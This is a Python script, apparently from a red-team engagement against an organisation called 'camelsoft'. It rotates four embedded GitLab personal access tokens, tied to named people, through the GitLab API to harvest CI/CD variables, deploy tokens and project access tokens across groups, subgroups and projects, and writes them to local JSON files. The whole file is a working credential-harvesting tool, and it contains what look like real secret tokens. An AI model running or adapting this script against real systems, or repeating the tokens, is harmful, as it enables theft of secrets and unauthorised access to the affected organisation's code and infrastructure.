#!/usr/bin/env python3
"""Deep GitLab enumeration: subgroups, all group/project CI/CD variables, deploy tokens, access tokens info, hooks.
Also tries to get group access tokens and project access tokens.
"""
import json, time, urllib.request, urllib.error, ssl, os

BASE = "https://gitlab.com/api/v4"
OUTDIR = "/root/ir-assessment/redteam/camelsoft/gitlab_repos"
TOKENS = [
    ("git_mohamed", "glpat-sgCEpY3CBBhrAJLFAwcxmG86MQp1OjN2Mm1rCw.01.120ci2qti"),
    ("token_khabir", "glpat-6UyneVwq4emxXZnpFK7-2G86MQp1Omp4cXZhCw.01.12075cpxn"),
    ("5b460014_gitlab_token", "glpat-paHb-IMIGMOBkWdimvocHWM6MQpvOjEKdTozdjJtaw8.01.1709yym89"),
    ("marwen_gitlab_token", "glpat-4QqtQ3LRuYkw8lngMcv4GmM6MQpvOjEKdTo3eTBxZA8.01.170sjfbyb"),
]

def api_get(path, token, per_page=100, paginate=True):
    results = []
    page = 1
    while True:
        sep = "&" if "?" in path else "?"
        url = f"{BASE}{path}{sep}per_page={per_page}&page={page}"
        req = urllib.request.Request(url, headers={"PRIVATE-TOKEN": token, "User-Agent": "gitlab-deep/1.0"})
        try:
            with urllib.request.urlopen(req, timeout=40) as resp:
                body = resp.read().decode("utf-8", errors="replace")
                data = json.loads(body) if body.strip() else []
        except urllib.error.HTTPError as e:
            return {"_error": f"HTTP {e.code}", "_path": path}
        except Exception as e:
            return {"_error": str(e), "_path": path}
        if isinstance(data, list):
            results.extend(data)
            if not paginate or len(data) < per_page:
                break
            page += 1
        else:
            return data
        if page > 50:
            break
        time.sleep(0.25)
    return results

def main():
    # load existing cicd data
    with open(os.path.join(OUTDIR, "_cicd_variables.json")) as f:
        cicd = json.load(f)

    # unique groups from _groups.json
    with open(os.path.join(OUTDIR, "_groups.json")) as f:
        groups_raw = json.load(f)
    unique_groups = {}
    for g in groups_raw.values():
        gid = g.get("id")
        if gid and gid not in unique_groups:
            unique_groups[gid] = g

    # subgroups for each top-level group
    subgroups_all = {}
    for gid, g in list(unique_groups.items()):
        fp = g.get("full_path", str(gid))
        for tname, tok in TOKENS:
            sgs = api_get(f"/groups/{gid}/subgroups", tok)
            if isinstance(sgs, list):
                if sgs or True:  # got a valid response (even empty)
                    for sg in sgs:
                        subgroups_all[sg["id"]] = sg
                        # also fetch variables for subgroup
                        sgvars = api_get(f"/groups/{sg['id']}/variables", tok)
                        if isinstance(sgvars, list) and sgvars:
                            cicd[f"group:{sg.get('full_path')}"] = {"group_id": sg["id"], "token": tname, "variables": sgvars, "_subgroup_of": fp}
                            print(f"  subgroup {sg['full_path']}: {len(sgvars)} vars", flush=True)
                        # also add subgroup to unique_groups for descendant search
                        unique_groups[sg["id"]] = sg
                    if sgs:
                        print(f"  group {fp} has {len(sgs)} subgroups", flush=True)
                    break  # token worked
            time.sleep(0.2)

    # recurse one more level for descendants
    for gid, g in list(subgroups_all.items()):
        for tname, tok in TOKENS:
            desc = api_get(f"/groups/{gid}/subgroups", tok)
            if isinstance(desc, list):
                for d in desc:
                    subgroups_all[d["id"]] = d
                    dvars = api_get(f"/groups/{d['id']}/variables", tok)
                    if isinstance(dvars, list) and dvars:
                        cicd[f"group:{d.get('full_path')}"] = {"group_id": d["id"], "token": tname, "variables": dvars}
                        print(f"  descendant {d['full_path']}: {len(dvars)} vars", flush=True)
                break
            time.sleep(0.2)

    # group deploy tokens and access tokens
    deploy_tokens_all = {}
    for gid, g in unique_groups.items():
        for tname, tok in TOKENS:
            dts = api_get(f"/groups/{gid}/deploy_tokens", tok)
            if isinstance(dts, list):
                if dts:
                    deploy_tokens_all[g.get("full_path", str(gid))] = {"group_id": gid, "token": tname, "deploy_tokens": dts}
                    print(f"  group {g.get('full_path')}: {len(dts)} deploy tokens", flush=True)
                break
            time.sleep(0.15)

    # project deploy tokens + access tokens + hooks + CI config
    with open(os.path.join(OUTDIR, "_projects_to_clone.json")) as f:
        projects = json.load(f)
    proj_extras = {}
    for p in projects:
        pid = p["id"]
        pn = p["path_with_namespace"]
        # deploy tokens
        for tname, t in TOKENS:
            dts = api_get(f"/projects/{pid}/deploy_tokens", t)
            if isinstance(dts, list) and dts:
                proj_extras.setdefault(pn, {})["deploy_tokens"] = dts
                print(f"  project {pn}: {len(dts)} deploy tokens", flush=True)
                break
            time.sleep(0.15)
        # access tokens (project-level)
        for tname, t in TOKENS:
            ats = api_get(f"/projects/{pid}/access_tokens", t)
            if isinstance(ats, list) and ats:
                proj_extras.setdefault(pn, {})["project_access_tokens"] = ats
                print(f"  project {pn}: {len(ats)} project access tokens", flush=True)
                break
            time.sleep(0.15)

    # save merged cicd
    with open(os.path.join(OUTDIR, "_cicd_variables.json"), "w") as f:
        json.dump(cicd, f, indent=2)
    with open(os.path.join(OUTDIR, "_deploy_tokens.json"), "w") as f:
        json.dump({"groups": deploy_tokens_all, "projects": proj_extras}, f, indent=2)
    with open(os.path.join(OUTDIR, "_subgroups.json"), "w") as f:
        json.dump(subgroups_all, f, indent=2)

    print(f"\n=== DEEP ENUM DONE ===")
    print(f"Subgroups found: {len(subgroups_all)}")
    print(f"CI/CD var sets total: {len(cicd)}")
    print(f"Deploy token sets: {len(deploy_tokens_all)}")

if __name__ == "__main__":
    main()
